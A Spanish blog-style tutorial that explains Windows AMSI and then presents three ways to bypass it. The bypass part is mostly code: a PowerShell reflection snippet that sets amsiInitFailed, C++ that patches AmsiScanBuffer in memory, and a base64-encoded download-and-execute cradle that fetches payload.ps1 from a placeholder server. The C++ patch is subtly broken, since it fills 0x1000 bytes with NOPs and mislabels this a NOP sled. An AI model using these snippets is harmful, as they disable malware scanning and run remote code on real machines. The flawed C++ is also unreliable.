¿Qué es el AMSI?

El AMSI es una interfaz de escaneo antimalware introducida por Microsoft para ayudar a las soluciones de seguridad a analizar contenido malicioso en tiempo real. Fue presentado a partir de Windows 10 y Windows Server 2016, y está diseñado para integrarse con cualquier software antimalware.

Características principales del AMSI:

  • Escaneo de código en memoria: Analiza scripts en tiempo de ejecución, lo que permite detectar amenazas que no están almacenadas como archivos.
  • Soporte multiplataforma: Compatible con PowerShell, VBScript, JScript y otros lenguajes de script.
  • Colaboración con antivirus: AMSI no es un antivirus, pero trabaja en conjunto con los proveedores de seguridad para identificar y bloquear amenazas.

Cómo funciona AMSI

Cuando ejecutamos un script o código en un entorno compatible con AMSI (por ejemplo, PowerShell), este se intercepta y se envía al motor AMSI para su análisis antes de ejecutarse. Esto incluye:

  1. Desofuscación previa: AMSI puede trabajar con código desofuscado o descomprimido, dificultando los intentos de ocultación.
  2. Análisis del contenido: El código es evaluado por firmas o técnicas heurísticas proporcionadas por la solución antimalware.
  3. Bloqueo o ejecución: Si el código se considera malicioso, se bloquea antes de que pueda ejecutarse.

Maneras de Bypass AMSI

Evadir AMSI no es una tarea sencilla, ya que está profundamente integrado en el sistema operativo. Sin embargo, existen técnicas como las siguientes para poder evadirlo.

1. Manipulación de la memoria

AMSI se implementa como una biblioteca («amsi.dll») cargada en memoria. Modificar ciertas funciones o estructuras en memoria puede deshabilitar el análisis:

Ejemplo en PowerShell:

$amsiDLL = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') 
$amsiInit = $amsiDLL.GetField('amsiInitFailed', 'NonPublic, Static') 
$amsiInit.SetValue($null, $true)

Este código manipula la bandera interna amsiInitFailed, deshabilitando el AMSI para esa sesión.

2. Cargas en memoria de AMSI alteradas

Otra técnica común es sobrescribir funciones clave dentro de la biblioteca amsi.dll, como AmsiScanBuffer. Esto se puede hacer utilizando herramientas como Direct Syscalls o modificando el código en memoria:

Ejemplo en C++:

#include <windows.h>
#include <string.h>

void DisableAMSI() {
    HMODULE hModule = GetModuleHandle(L"amsi.dll");
    if (hModule) {
        void* AmsiScanBuffer = GetProcAddress(hModule, "AmsiScanBuffer");
        if (AmsiScanBuffer) {
            DWORD oldProtect;
            VirtualProtect(AmsiScanBuffer, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);
            memset(AmsiScanBuffer, 0x90, 0x1000); // NOP sled
        }
    }
}
    

Este código deshabilita la función AmsiScanBuffer, haciendo que AMSI no pueda analizar el contenido.

3. Ofuscación del código

AMSI analiza el código en su forma desofuscada, pero una buena ofuscación puede dificultar la detección. Usar técnicas de división de cadenas, codificación base64 o generación dinámica puede ayudar a evitar el análisis.

Ejemplo:

$code = "IEX (New-Object Net.WebClient).DownloadString('http://miservidor.com/payload.ps1')"
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($code))
powershell -EncodedCommand $encoded

Conclusión

El AMSI es una herramienta clave para mejorar la seguridad de los sistemas Windows, pero no es infalible. Es necesario entender su funcionamiento y las técnicas para evadirlo con el objetivo de reforzar sus estrategias defensivas.

En el ámbito de la seguridad, conocer las defensas es tan importante como entender cómo superarlas. Y tú, ¿qué técnica prefieres para tus investigaciones? ¡Déjalo en los comentarios!